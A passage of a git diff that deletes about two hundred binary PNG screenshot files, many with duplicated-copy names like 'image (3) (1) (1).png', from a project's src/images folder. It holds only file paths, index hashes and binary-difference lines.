(1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 6c458d038..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index feea4d913..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index b57f12f1b..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (1) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index f282f5211..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1) (1).png deleted file mode 100644 index 0c13369f3..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1).png deleted file mode 100644 index 4ba6ea2ef..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (2) (1).png b/src/images/image (2) (1) (2) (1).png deleted file mode 100644 index 72803d6a2..000000000 Binary files a/src/images/image (2) (1) (2) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (2) (2) (1).png b/src/images/image (2) (1) (2) (2) (1).png deleted file mode 100644 index 81693493b..000000000 Binary files a/src/images/image (2) (1) (2) (2) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (2) (2).png b/src/images/image (2) (1) (2) (2).png deleted file mode 100644 index 81607c65d..000000000 Binary files a/src/images/image (2) (1) (2) (2).png and /dev/null differ diff --git a/src/images/image (2) (1) (2).png b/src/images/image (2) (1) (2).png deleted file mode 100644 index 02a5ed49f..000000000 Binary files a/src/images/image (2) (1) (2).png and /dev/null differ diff --git a/src/images/image (2) (1) (3).png b/src/images/image (2) (1) (3).png deleted file mode 100644 index 242eb34e3..000000000 Binary files a/src/images/image (2) (1) (3).png and /dev/null differ diff --git a/src/images/image (2) (1).png b/src/images/image (2) (1).png deleted file mode 100644 index 54ee1fb93..000000000 Binary files a/src/images/image (2) (1).png and /dev/null differ diff --git a/src/images/image (2) (2) (1) (1).png b/src/images/image (2) (2) (1) (1).png deleted file mode 100644 index 35751b944..000000000 Binary files a/src/images/image (2) (2) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (2) (1).png b/src/images/image (2) (2) (1).png deleted file mode 100644 index af226cc50..000000000 Binary files a/src/images/image (2) (2) (1).png and /dev/null differ diff --git a/src/images/image (2) (2).png b/src/images/image (2) (2).png deleted file mode 100644 index af2de350b..000000000 Binary files a/src/images/image (2) (2).png and /dev/null differ diff --git a/src/images/image (2) (3).png b/src/images/image (2) (3).png deleted file mode 100644 index cf8fa7f29..000000000 Binary files a/src/images/image (2) (3).png and /dev/null differ diff --git a/src/images/image (2) (4).png b/src/images/image (2) (4).png deleted file mode 100644 index 31a4f0aa7..000000000 Binary files a/src/images/image (2) (4).png and /dev/null differ diff --git a/src/images/image (2) (5).png b/src/images/image (2) (5).png deleted file mode 100644 index b30720e90..000000000 Binary files a/src/images/image (2) (5).png and /dev/null differ diff --git a/src/images/image (2) (6).png b/src/images/image (2) (6).png deleted file mode 100644 index c7839711c..000000000 Binary files a/src/images/image (2) (6).png and /dev/null differ diff --git a/src/images/image (202).png b/src/images/image (202).png deleted file mode 100644 index b4d44cbcb..000000000 Binary files a/src/images/image (202).png and /dev/null differ diff --git a/src/images/image (204).png b/src/images/image (204).png deleted file mode 100644 index 8e8c8e143..000000000 Binary files a/src/images/image (204).png and /dev/null differ diff --git a/src/images/image (205).png b/src/images/image (205).png deleted file mode 100644 index 96a5e01d2..000000000 Binary files a/src/images/image (205).png and /dev/null differ diff --git a/src/images/image (207).png b/src/images/image (207).png deleted file mode 100644 index ccbac226e..000000000 Binary files a/src/images/image (207).png and /dev/null differ diff --git a/src/images/image (209).png b/src/images/image (209).png deleted file mode 100644 index 028e7cf78..000000000 Binary files a/src/images/image (209).png and /dev/null differ diff --git a/src/images/image (21) (1).png b/src/images/image (21) (1).png deleted file mode 100644 index 594360110..000000000 Binary files a/src/images/image (21) (1).png and /dev/null differ diff --git a/src/images/image (21).png b/src/images/image (21).png deleted file mode 100644 index 6e6b14ecd..000000000 Binary files a/src/images/image (21).png and /dev/null differ diff --git a/src/images/image (211).png b/src/images/image (211).png deleted file mode 100644 index 34fda8b40..000000000 Binary files a/src/images/image (211).png and /dev/null differ diff --git a/src/images/image (214).png b/src/images/image (214).png deleted file mode 100644 index b60c34ac2..000000000 Binary files a/src/images/image (214).png and /dev/null differ diff --git a/src/images/image (219).png b/src/images/image (219).png deleted file mode 100644 index bd7336f3b..000000000 Binary files a/src/images/image (219).png and /dev/null differ diff --git a/src/images/image (221).png b/src/images/image (221).png deleted file mode 100644 index 1279948e3..000000000 Binary files a/src/images/image (221).png and /dev/null differ diff --git a/src/images/image (224).png b/src/images/image (224).png deleted file mode 100644 index e274f3ec0..000000000 Binary files a/src/images/image (224).png and /dev/null differ diff --git a/src/images/image (229).png b/src/images/image (229).png deleted file mode 100644 index bd3a11150..000000000 Binary files a/src/images/image (229).png and /dev/null differ diff --git a/src/images/image (230).png b/src/images/image (230).png deleted file mode 100644 index cda441be8..000000000 Binary files a/src/images/image (230).png and /dev/null differ diff --git a/src/images/image (231).png b/src/images/image (231).png deleted file mode 100644 index 9a1630183..000000000 Binary files a/src/images/image (231).png and /dev/null differ diff --git a/src/images/image (233).png b/src/images/image (233).png deleted file mode 100644 index 9bbea93e2..000000000 Binary files a/src/images/image (233).png and /dev/null differ diff --git a/src/images/image (234).png b/src/images/image (234).png deleted file mode 100644 index cfd9fb6d0..000000000 Binary files a/src/images/image (234).png and /dev/null differ diff --git a/src/images/image (236).png b/src/images/image (236).png deleted file mode 100644 index a59c7aee1..000000000 Binary files a/src/images/image (236).png and /dev/null differ diff --git a/src/images/image (238).png b/src/images/image (238).png deleted file mode 100644 index 8ddc97236..000000000 Binary files a/src/images/image (238).png and /dev/null differ diff --git a/src/images/image (24).png b/src/images/image (24).png deleted file mode 100644 index d7321dae6..000000000 Binary files a/src/images/image (24).png and /dev/null differ diff --git a/src/images/image (240).png b/src/images/image (240).png deleted file mode 100644 index 302760b43..000000000 Binary files a/src/images/image (240).png and /dev/null differ diff --git a/src/images/image (241).png b/src/images/image (241).png deleted file mode 100644 index c7839711c..000000000 Binary files a/src/images/image (241).png and /dev/null differ diff --git a/src/images/image (242).png b/src/images/image (242).png deleted file mode 100644 index 874bcf60e..000000000 Binary files a/src/images/image (242).png and /dev/null differ diff --git a/src/images/image (253).png b/src/images/image (253).png deleted file mode 100644 index 03ad3a91f..000000000 Binary files a/src/images/image (253).png and /dev/null differ diff --git a/src/images/image (257).png b/src/images/image (257).png deleted file mode 100644 index 8ab9b5f2f..000000000 Binary files a/src/images/image (257).png and /dev/null differ diff --git a/src/images/image (258).png b/src/images/image (258).png deleted file mode 100644 index 7ba73f8ce..000000000 Binary files a/src/images/image (258).png and /dev/null differ diff --git a/src/images/image (263).png b/src/images/image (263).png deleted file mode 100644 index ce9c74eec..000000000 Binary files a/src/images/image (263).png and /dev/null differ diff --git a/src/images/image (269).png b/src/images/image (269).png deleted file mode 100644 index e3005618e..000000000 Binary files a/src/images/image (269).png and /dev/null differ diff --git a/src/images/image (270).png b/src/images/image (270).png deleted file mode 100644 index e9fccac51..000000000 Binary files a/src/images/image (270).png and /dev/null differ diff --git a/src/images/image (271).png b/src/images/image (271).png deleted file mode 100644 index 1a2977c56..000000000 Binary files a/src/images/image (271).png and /dev/null differ diff --git a/src/images/image (272).png b/src/images/image (272).png deleted file mode 100644 index b16455cdf..000000000 Binary files a/src/images/image (272).png and /dev/null differ diff --git a/src/images/image (28).png b/src/images/image (28).png deleted file mode 100644 index 44dbbe0a5..000000000 Binary files a/src/images/image (28).png and /dev/null differ diff --git a/src/images/image (281).png b/src/images/image (281).png deleted file mode 100644 index 8ee408d4f..000000000 Binary files a/src/images/image (281).png and /dev/null differ diff --git a/src/images/image (284).png b/src/images/image (284).png deleted file mode 100644 index 08d8290b6..000000000 Binary files a/src/images/image (284).png and /dev/null differ diff --git a/src/images/image (287).png b/src/images/image (287).png deleted file mode 100644 index 737563205..000000000 Binary files a/src/images/image (287).png and /dev/null differ diff --git a/src/images/image (288).png b/src/images/image (288).png deleted file mode 100644 index eff5b993e..000000000 Binary files a/src/images/image (288).png and /dev/null differ diff --git a/src/images/image (289).png b/src/images/image (289).png deleted file mode 100644 index 093193a38..000000000 Binary files a/src/images/image (289).png and /dev/null differ diff --git a/src/images/image (29).png b/src/images/image (29).png deleted file mode 100644 index 7e59066fb..000000000 Binary files a/src/images/image (29).png and /dev/null differ diff --git a/src/images/image (290).png b/src/images/image (290).png deleted file mode 100644 index d1ce135f9..000000000 Binary files a/src/images/image (290).png and /dev/null differ diff --git a/src/images/image (291).png b/src/images/image (291).png deleted file mode 100644 index f3ef1ca94..000000000 Binary files a/src/images/image (291).png and /dev/null differ diff --git a/src/images/image (292).png b/src/images/image (292).png deleted file mode 100644 index 793854aa6..000000000 Binary files a/src/images/image (292).png and /dev/null differ diff --git a/src/images/image (293).png b/src/images/image (293).png deleted file mode 100644 index 51f87ae4b..000000000 Binary files a/src/images/image (293).png and /dev/null differ diff --git a/src/images/image (294).png b/src/images/image (294).png deleted file mode 100644 index 8821aa0be..000000000 Binary files a/src/images/image (294).png and /dev/null differ diff --git a/src/images/image (295).png b/src/images/image (295).png deleted file mode 100644 index 28d086760..000000000 Binary files a/src/images/image (295).png and /dev/null differ diff --git a/src/images/image (296).png b/src/images/image (296).png deleted file mode 100644 index b89234062..000000000 Binary files a/src/images/image (296).png and /dev/null differ diff --git a/src/images/image (297).png b/src/images/image (297).png deleted file mode 100644 index b8c64c0b3..000000000 Binary files a/src/images/image (297).png and /dev/null differ diff --git a/src/images/image (298).png b/src/images/image (298).png deleted file mode 100644 index d9dc87ec4..000000000 Binary files a/src/images/image (298).png and /dev/null differ diff --git a/src/images/image (299).png b/src/images/image (299).png deleted file mode 100644 index 5a51f1ae7..000000000 Binary files a/src/images/image (299).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 79ded4931..000000000 Binary files a/src/images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index c31faa50d..000000000 Binary files a/src/images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index f2584b8ff..000000000 Binary files a/src/images/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (3) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index d2bc44216..000000000 Binary files a/src/images/image (3) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (1) (1) (1) (1).png b/src/images/image (3) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 0ea673488..000000000 Binary files a/src/images/image (3) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (1) (1) (1).png b/src/images/image (3) (1) (1) (1) (1) (1).png deleted file mode 100644 index 0f975e105..000000000 Binary files a/src/images/image (3) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (1) (1).png b/src/images/image (3) (1) (1) (1) (1).png deleted file mode 100644 index 082f6e095..000000000 Binary files a/src/images/image (3) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (1) (2).png b/src/images/image (3) (1) (1) (1) (2).png deleted file mode 100644 index 028e7cf78..000000000 Binary files a/src/images/image (3) (1) (1) (1) (2).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (1).png b/src/images/image (3) (1) (1) (1).png deleted file mode 100644 index 654ddaa3b..000000000 Binary files a/src/images/image (3) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (3) (1) (1) (2).png b/src/images/image (3) (1) (1) (2).png deleted file mode 100644 index 9bbea93e2..000000000 Binary files a/src/images/image (3) (1) (1) (2).png and /dev/null differ diff --git a/src/images/image (3) (1) (2) (1).png b/src/images/image (3) (1) (2) (1).png deleted file mode 100644 index 95cd08b61..000000000 Binary files a/src/images/image (3) (1) (2) (1).png and /dev/null differ diff --git a/src/images/image (3) (1) (2).png b/src/images/image (3) (1) (2).png deleted file mode 100644 index 9eee0302e..000000000 Binary files a/src/images/image (3) (1) (2).png and /dev/null differ diff --git a/src/images/image (3) (1) (3).png b/src/images/image (3) (1) (3).png deleted file mode 100644 index 98d819ea1..000000000 Binary files a/src/images/image (3) (1) (3).png and /dev/null differ diff --git a/src/images/image (3) (1).png b/src/images/image (3) (1).png deleted file mode 100644 index a05b0f339..000000000 Binary files a/src/images/image (3) (1).png and /dev/null differ diff --git a/src/images/image (3) (2) (1).png b/src/images/image (3) (2) (1).png deleted file mode 100644 index dca476a15..000000000 Binary files a/src/images/image (3) (2) (1).png and /dev/null differ diff --git a/src/images/image (3) (2) (2).png b/src/images/image (3) (2) (2).png deleted file mode 100644 index 8e9a8c2fb..000000000 Binary files a/src/images/image (3) (2) (2).png and /dev/null differ diff --git a/src/images/image (3) (2) (3).png b/src/images/image (3) (2) (3).png deleted file mode 100644 index f0aa32506..000000000 Binary files a/src/images/image (3) (2) (3).png and /dev/null differ diff --git a/src/images/image (3) (2).png b/src/images/image (3) (2).png deleted file mode 100644 index e4a09fa61..000000000 Binary files a/src/images/image (3) (2).png and /dev/null differ diff --git a/src/images/image (3) (3) (1).png b/src/images/image (3) (3) (1).png deleted file mode 100644 index bd7336f3b..000000000 Binary files a/src/images/image (3) (3) (1).png and /dev/null differ diff --git a/src/images/image (3) (3) (2).png b/src/images/image (3) (3) (2).png deleted file mode 100644 index 65df30a8c..000000000 Binary files a/src/images/image (3) (3) (2).png and /dev/null differ diff --git a/src/images/image (3) (3).png b/src/images/image (3) (3).png deleted file mode 100644 index 327adc67b..000000000 Binary files a/src/images/image (3) (3).png and /dev/null differ diff --git a/src/images/image (3) (4).png b/src/images/image (3) (4).png deleted file mode 100644 index 7d61b2e6e..000000000 Binary files a/src/images/image (3) (4).png and /dev/null differ diff --git a/src/images/image (3) (5).png b/src/images/image (3) (5).png deleted file mode 100644 index 626753783..000000000 Binary files a/src/images/image (3) (5).png and /dev/null differ diff --git a/src/images/image (3) (6).png b/src/images/image (3) (6).png deleted file mode 100644 index 5583425d6..000000000 Binary files a/src/images/image (3) (6).png and /dev/null differ diff --git a/src/images/image (30).png b/src/images/image (30).png deleted file mode 100644 index f282f5211..000000000 Binary files a/src/images/image (30).png and /dev/null differ diff --git a/src/images/image (300).png b/src/images/image (300).png deleted file mode 100644 index c6cf5c124..000000000 Binary files a/src/images/image (300).png and /dev/null differ diff --git a/src/images/image (301).png b/src/images/image (301).png deleted file mode 100644 index c7006f64d..000000000 Binary files a/src/images/image (301).png and /dev/null differ diff --git a/src/images/image (302).png b/src/images/image (302).png deleted file mode 100644 index ec547ea82..000000000 Binary files a/src/images/image (302).png and /dev/null differ diff --git a/src/images/image (303).png b/src/images/image (303).png deleted file mode 100644 index 4dac702ee..000000000 Binary files a/src/images/image (303).png and /dev/null differ diff --git a/src/images/image (304).png b/src/images/image (304).png deleted file mode 100644 index 36a0ddadd..000000000 Binary files a/src/images/image (304).png and /dev/null differ diff --git a/src/images/image (305).png b/src/images/image (305).png deleted file mode 100644 index 36a0ddadd..000000000 Binary files a/src/images/image (305).png and /dev/null differ diff --git a/src/images/image (306).png b/src/images/image (306).png deleted file mode 100644 index 343b3b01c..000000000 Binary files a/src/images/image (306).png and /dev/null differ diff --git a/src/images/image (307).png b/src/images/image (307).png deleted file mode 100644 index c6f510795..000000000 Binary files a/src/images/image (307).png and /dev/null differ diff --git a/src/images/image (308).png b/src/images/image (308).png deleted file mode 100644 index 7f7305700..000000000 Binary files a/src/images/image (308).png and /dev/null differ diff --git a/src/images/image (309).png b/src/images/image (309).png deleted file mode 100644 index 7f7305700..000000000 Binary files a/src/images/image (309).png and /dev/null differ diff --git a/src/images/image (310).png b/src/images/image (310).png deleted file mode 100644 index 7f7305700..000000000 Binary files a/src/images/image (310).png and /dev/null differ diff --git a/src/images/image (311).png b/src/images/image (311).png deleted file mode 100644 index 1ecbf55f1..000000000 Binary files a/src/images/image (311).png and /dev/null differ diff --git a/src/images/image (312).png b/src/images/image (312).png deleted file mode 100644 index a46f35a89..000000000 Binary files a/src/images/image (312).png and /dev/null differ diff --git a/src/images/image (313).png b/src/images/image (313).png deleted file mode 100644 index 3e590d136..000000000 Binary files a/src/images/image (313).png and /dev/null differ diff --git a/src/images/image (314).png b/src/images/image (314).png deleted file mode 100644 index 3d03adf3f..000000000 Binary files a/src/images/image (314).png and /dev/null differ diff --git a/src/images/image (315).png b/src/images/image (315).png deleted file mode 100644 index e23472544..000000000 Binary files a/src/images/image (315).png and /dev/null differ diff --git a/src/images/image (316).png b/src/images/image (316).png deleted file mode 100644 index 6b1530913..000000000 Binary files a/src/images/image (316).png and /dev/null differ diff --git a/src/images/image (317).png b/src/images/image (317).png deleted file mode 100644 index 6c8ea0135..000000000 Binary files a/src/images/image (317).png and /dev/null differ diff --git a/src/images/image (318).png b/src/images/image (318).png deleted file mode 100644 index f67f5d341..000000000 Binary files a/src/images/image (318).png and /dev/null differ diff --git a/src/images/image (319).png b/src/images/image (319).png deleted file mode 100644 index 707dda052..000000000 Binary files a/src/images/image (319).png and /dev/null differ diff --git a/src/images/image (320).png b/src/images/image (320).png deleted file mode 100644 index adc1061f5..000000000 Binary files a/src/images/image (320).png and /dev/null differ diff --git a/src/images/image (321).png b/src/images/image (321).png deleted file mode 100644 index d3660513e..000000000 Binary files a/src/images/image (321).png and /dev/null differ diff --git a/src/images/image (322).png b/src/images/image (322).png deleted file mode 100644 index 49a761f89..000000000 Binary files a/src/images/image (322).png and /dev/null differ diff --git a/src/images/image (33).png b/src/images/image (33).png deleted file mode 100644 index 1627e6876..000000000 Binary files a/src/images/image (33).png and /dev/null differ diff --git a/src/images/image (344).png b/src/images/image (344).png deleted file mode 100644 index 416a730f2..000000000 Binary files a/src/images/image (344).png and /dev/null differ diff --git a/src/images/image (345).png b/src/images/image (345).png deleted file mode 100644 index 1a0ae02fc..000000000 Binary files a/src/images/image (345).png and /dev/null differ diff --git a/src/images/image (346).png b/src/images/image (346).png deleted file mode 100644 index 5179ca09e..000000000 Binary files a/src/images/image (346).png and /dev/null differ diff --git a/src/images/image (35).png b/src/images/image (35).png deleted file mode 100644 index 4ee37f53a..000000000 Binary files a/src/images/image (35).png and /dev/null differ diff --git a/src/images/image (350).png b/src/images/image (350).png deleted file mode 100644 index 15b49c6b8..000000000 Binary files a/src/images/image (350).png and /dev/null differ diff --git a/src/images/image (38) (1).png b/src/images/image (38) (1).png deleted file mode 100644 index b35bd9393..000000000 Binary files a/src/images/image (38) (1).png and /dev/null differ diff --git a/src/images/image (38).png b/src/images/image (38).png deleted file mode 100644 index 244f801fc..000000000 Binary files a/src/images/image (38).png and /dev/null differ diff --git a/src/images/image (39) (1).png b/src/images/image (39) (1).png deleted file mode 100644 index 3f14c6127..000000000 Binary files a/src/images/image (39) (1).png and /dev/null differ diff --git a/src/images/image (39).png b/src/images/image (39).png deleted file mode 100644 index cf55c03e2..000000000 Binary files a/src/images/image (39).png and /dev/null differ diff --git a/src/images/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 1a81f9de9..000000000 Binary files a/src/images/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (4) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (4) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 2712b6af5..000000000 Binary files a/src/images/image (4) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (4) (1) (1) (1) (1) (1) (1).png b/src/images/image (4) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index ec1557dd9..000000000 Binary files a/src/images/image (4) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (4) (1) (1) (1) (1) (1).png b/src/images/image (4) (1) (1) (1) (1) (1).png deleted file mode 100644 index d68bdcd0c..000000000 Binary files a/src/images/image (4) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (4) (1) (1) (1) (1).png b/src/images/image (4) (1) (1) (1) (1).png deleted file mode 100644 index 66bce8449..000000000 Binary files a/src/images/image (4) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (4) (1) (1) (1).png b/src/images/image (4) (1) (1) (1).png deleted file mode 100644 index c0aaaf701..000000000 Binary files a/src/images/image (4) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (4) (1) (1).png b/src/images/image (4) (1) (1).png deleted file mode 100644 index 44dbbe0a5..000000000 Binary files a/src/images/image (4) (1) (1).png and /dev/null differ diff --git a/src/images/image (4) (1) (2).png b/src/images/image (4) (1) (2).png deleted file mode 100644 index 302760b43..000000000 Binary files a/src/images/image (4) (1) (2).png and /dev/null differ diff --git a/src/images/image (4) (1) (3).png b/src/images/image (4) (1) (3).png deleted file mode 100644 index 536d3c291..000000000 Binary files a/src/images/image (4) (1) (3).png and /dev/null differ diff --git a/src/images/image (4) (2) (1).png b/src/images/image (4) (2) (1).png deleted file mode 100644 index c57fa4d22..000000000 Binary files a/src/images/image (4) (2) (1).png and /dev/null differ diff --git a/src/images/image (4) (2).png b/src/images/image (4) (2).png deleted file mode 100644 index e8609ada1..000000000 Binary files a/src/images/image (4) (2).png and /dev/null differ diff --git a/src/images/image (4) (3).png b/src/images/image (4) (3).png deleted file mode 100644 index f2f075bb9..000000000 Binary files a/src/images/image (4) (3).png and /dev/null differ diff --git a/src/images/image (4) (4).png b/src/images/image (4) (4).png deleted file mode 100644 index a59c7aee1..000000000 Binary files a/src/images/image (4) (4).png and /dev/null differ diff --git a/src/images/image (4) (5).png b/src/images/image (4) (5).png deleted file mode 100644 index b16455cdf..000000000 Binary files a/src/images/image (4) (5).png and /dev/null differ diff --git a/src/images/image (4) (6).png b/src/images/image (4) (6).png deleted file mode 100644 index 73f8be880..000000000 Binary files a/src/images/image (4) (6).png and /dev/null differ diff --git a/src/images/image (4) (7).png b/src/images/image (4) (7).png deleted file mode 100644 index e99c0a173..000000000 Binary files a/src/images/image (4) (7).png and /dev/null differ diff --git a/src/images/image (40).png b/src/images/image (40).png deleted file mode 100644 index b57f12f1b..000000000 Binary files a/src/images/image (40).png and /dev/null differ diff --git a/src/images/image (41).png b/src/images/image (41).png deleted file mode 100644 index 0ea673488..000000000 Binary files a/src/images/image (41).png and /dev/null differ diff --git a/src/images/image (42).png b/src/images/image (42).png deleted file mode 100644 index 66bce8449..000000000 Binary files a/src/images/image (42).png and /dev/null differ diff --git a/src/images/image (43).png b/src/images/image (43).png deleted file mode 100644 index 66bce8449..000000000 Binary files a/src/images/image (43).png and /dev/null differ diff --git a/src/images/image (45).png b/src/images/image (45).png deleted file mode 100644 index d2bc44216..000000000 Binary files a/src/images/image (45).png and /dev/null differ diff --git a/src/images/image (46).png b/src/images/image (46).png deleted file mode 100644 index d68bdcd0c..000000000 Binary files a/src/images/image (46).png and /dev/null differ diff --git a/src/images/image (47).png b/src/images/image (47).png deleted file mode 100644 index 0bae024bc..000000000 Binary files a/src/images/image (47).png and /dev/null differ diff --git a/src/images/image (48).png b/src/images/image (48).png deleted file mode 100644 index 0f269bd02..000000000 Binary files a/src/images/image (48).png and /dev/null differ diff --git a/src/images/image (49).png b/src/images/image (49).png deleted file mode 100644 index 6c458d038..000000000 Binary files a/src/images/image (49).png and /dev/null differ diff --git a/src/images/image (5) (1) (1) (1) (1) (1).png b/src/images/image (5) (1) (1) (1) (1) (1).png deleted file mode 100644 index 69a19c247..000000000 Binary files a/src/images/image (5) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (5) (1) (1) (1) (1).png b/src/images/image (5) (1) (1) (1) (1).png deleted file mode 100644 index 25c46bcdd..000000000 Binary files a/src/images/image (5) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (5) (1) (1) (1).png b/src/images/image (5) (1) (1) (1).png deleted file mode 100644 index 14f518335..000000000 Binary files a/src/images/image (5) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (5) (1) (1) (2).png b/src/images/image (5) (1) (1) (2).png deleted file mode 100644 index 8ddc97236..000000000 Binary files a/src/images/image (5) (1) (1) (2).png and /dev/null differ diff --git a/src/images/image (5) (1) (1).png b/src/images/image (5) (1) (1).png deleted file mode 100644 index 1bb2bcc6d..000000000 Binary files a/src/images/image (5) (1) (1).png and /dev/null differ diff --git a/src/images/image (5) (2) (1).png b/src/images/image (5) (2) (1).png deleted file mode 100644 index e9fccac51..000000000 Binary files a/src/images/image (5) (2) (1).png and /dev/null differ diff --git a/src/images/image (5) (2).png b/src/images/image (5) (2).png deleted file mode 100644 index 7392394d4..000000000 Binary files a/src/images/image (5) (2).png and /dev/null differ diff --git a/src/images/image (5) (3).png b/src/images/image (5) (3).png deleted file mode 100644 index c6e328ea9..000000000 Binary files a/src/images/image (5) (3).png and /dev/null differ diff --git a/src/images/image (5) (4).png b/src/images/image (5) (4).png deleted file mode 100644 index 9809acdd5..000000000 Binary files a/src/images/image (5) (4).png and /dev/null differ diff --git a/src/images/image (50).png b/src/images/image (50).png deleted file mode 100644 index f2584b8ff..000000000 Binary files a/src/images/image (50).png and /dev/null differ diff --git a/src/images/image (51).png b/src/images/image (51).png deleted file mode 100644 index ec1557dd9..000000000 Binary files a/src/images/image (51).png and /dev/null differ diff --git a/src/images/image (52).png b/src/images/image (52).png deleted file mode 100644 index 1bb2bcc6d..000000000 Binary files a/src/images/image (52).png and /dev/null differ diff --git a/src/images/image (53).png b/src/images/image (53).png deleted file mode 100644 index 08b73f5ea..000000000 Binary files a/src/images/image (53).png and /dev/null differ diff --git a/src/images/image (54).png b/src/images/image (54).png deleted file mode 100644 index c08e410cf..000000000 Binary files a/src/images/image (54).png and /dev/null differ diff --git a/src/images/image (55).png b/src/images/image (55).png deleted file mode 100644 index 7f9833bf8..000000000 Binary files a/src/images/image (55).png and /dev/null differ diff --git a/src/images/image (56).png b/src/images/image (56).png deleted file mode 100644 index 7593f6f36..000000000 Binary files a/src/images/image (56).png and /dev/null differ diff --git a/src/images/image (57).png b/src/images/image (57).png deleted file mode 100644 index ec4b3c358..000000000 Binary files a/src/images/image (57).png and /dev/null differ diff --git a/src/images/image (59).png b/src/images/image (59).png deleted file mode 100644 index fb5aa4f77..000000000 Binary files a/src/images/image (59).png and /dev/null differ diff --git a/src/images/image (6) (1) (1) (1).png b/src/images/image (6) (1) (1) (1).png deleted file mode 100644 index 2150062b9..000000000 Binary files a/src/images/image (6) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (6) (1) (1).png b/src/images/image (6) (1) (1).png deleted file mode 100644 index cd88db3ce..000000000 Binary files a/src/images/image (6) (1) (1).png and /dev/null differ diff --git a/src/images/image (6) (1) (2).png b/src/images/image (6) (1) (2).png deleted file mode 100644 index cfd9fb6d0..000000000 Binary files a/src/images/image (6) (1) (2).png and /dev/null differ diff --git a/src/images/image (6) (1).png b/src/images/image (6) (1).png deleted file mode 100644 index 08b73f5ea..000000000 Binary files a/src/images/image (6) (1).png and /dev/null differ diff --git a/src/images/image (6) (2).png b/src/images/image (6) (2).png deleted file mode 100644 index 5c0065e42..000000000 Binary files a/src/images/image (6) (2).png and /dev/null differ diff --git a/src/images/image (6) (3).png b/src/images/image (6) (3).png deleted file mode 100644 index b9a0a8075..000000000 Binary files a/src/images/image (6) (3).png and /dev/null differ diff --git a/src/images/image (60).png b/src/images/image (60).png deleted file mode 100644 index ce5079820..000000000 Binary files a/src/images/image (60).png and /dev/null differ diff --git a/src/images/image (61).png b/src/images/image (61).png deleted file mode 100644 index d0ab10ede..000000000 Binary files a/src/images/image (61).png and /dev/null differ diff --git a/src/images/image (62).png b/src/images/image (62).png deleted file mode 100644 index c31faa50d..000000000 Binary files a/src/images/image (62).png and /dev/null differ diff --git a/src/images/image (63).png b/src/images/image (63).png deleted file mode 100644 index 2712b6af5..000000000 Binary files a/src/images/image (63).png and /dev/null differ diff --git a/src/images/image (64).png b/src/images/image (64).png deleted file mode 100644 index 14f518335..000000000 Binary files a/src/images/image (64).png and /dev/null differ diff --git a/src/images/image (65).png b/src/images/image (65).png deleted file mode 100644 index cd88db3ce..000000000 Binary files a/src/images/image (65).png and /dev/null differ diff --git a/src/images/image (66).png b/src/images/image (66).png deleted file mode 100644 index aaec7c056..000000000 